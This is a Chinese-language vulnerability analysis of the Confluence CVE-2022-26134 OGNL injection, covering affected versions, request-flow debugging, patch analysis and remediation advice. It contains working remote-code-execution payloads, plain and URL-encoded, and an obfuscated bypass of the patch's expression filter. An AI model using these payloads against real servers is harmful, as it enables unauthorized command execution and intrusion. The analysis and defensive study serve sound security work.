Sangfor华东天勇战队:Confluence CVE-2022-26134分析
字数 2188 2025-08-11 21:26:16
Confluence CVE-2022-26134 OGNL表达式注入漏洞分析与复现
漏洞概述
CVE-2022-26134是Atlassian Confluence Server和Data Center中的一个严重安全漏洞,允许攻击者通过构造特殊的OGNL表达式实现远程代码执行(RCE)。
受影响版本
- Confluence Server and Data Center >= 1.3.0
- Confluence Server and Data Center < 7.4.17
- Confluence Server and Data Center < 7.13.7
- Confluence Server and Data Center < 7.14.3
- Confluence Server and Data Center < 7.15.2
- Confluence Server and Data Center < 7.16.4
- Confluence Server and Data Center < 7.17.4
- Confluence Server and Data Center < 7.18.1
漏洞复现
环境准备
Confluence自带调试端口3789,无需额外配置。
漏洞利用Payload
原始OGNL表达式:
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
URL编码后:
%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
注意:Payload末尾必须有/符号才能成功执行。
执行结果
命令执行结果会出现在响应头的X-Cmd-Response字段中。
漏洞分析
请求处理流程
- 入口点:
com.atlassian.confluence.servlet.ConfluenceServletDispatcher的service方法(继承自父类) - 路由解析:
getNamespaceFromServletPath():获取从开始到最后一个/的路径(即Payload部分)getActionName():获取从/开始到最后一个.之间的值(通常为index)
- 代理执行:
- 创建代理对象并调用
proxy.execute() - 通过拦截器链(
this.interceptors)进行迭代处理
- 创建代理对象并调用
- 结果执行:
- 当
this.proxy.getExecuteResult()为true时,调用executeResult() - 通过
createResult()根据resultCode获取对应结果 - 最终调用
result.execute()
- 当
漏洞触发点
关键漏洞点在TextParseUtil.translateVariables()方法,由于传入的namespace参数可控,导致OGNL表达式注入。
调试分析
-
请求路径解析:
servletPath为:/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/index.actiongetNamespaceFromServletPath()处理后得到:/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}getActionName()处理后得到:index
-
表达式执行:
- 在
TextParseUtil.translateVariables()中,stack和expression(即namespace)都可控 - 导致OGNL表达式注入
- 在
补丁分析
补丁主要做了以下修改:
- 删除了
TextParseUtil.translateVariables() - 新增了
SafeExpressionUtil.class,包含:- 黑名单过滤
- 白名单机制(
allowedClasses在velocity.properties中定义) - 通过
OgnlUtil.compile(expression)对表达式进行解析和安全判断
绕过思路
补丁未限制通过Class.forName获取类并反射调用方法的过程,可使用如下Payload绕过:
${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("X-CMD",Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("eval(String.fromCharCode(118,97,114,32,115,61,39,39,59,118,97,114,32,112,112,32,61,32,106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,39,105,100,39,41,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,119,104,105,108,101,32,40,49,41,32,123,118,97,114,32,98,32,61,32,112,112,46,114,101,97,100,40,41,59,105,102,32,40,98,32,61,61,32,45,49,41,32,123,98,114,101,97,107,59,125,115,61,115,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,98,41,125,59,115))"))}
解码后的JavaScript代码:
var s='';
var pp = java.lang.Runtime.getRuntime().exec('id').getInputStream();
while (1) {
var b = pp.read();
if (b == -1) {
break;
}
s=s+String.fromCharCode(b)
};
s
防护建议
- 及时升级到安全版本:
- 7.4.17
- 7.13.7
- 7.14.3
- 7.15.2
- 7.16.4
- 7.17.4
- 7.18.1或更高版本
- 如无法立即升级,可考虑临时禁用相关功能或添加WAF规则拦截OGNL表达式注入尝试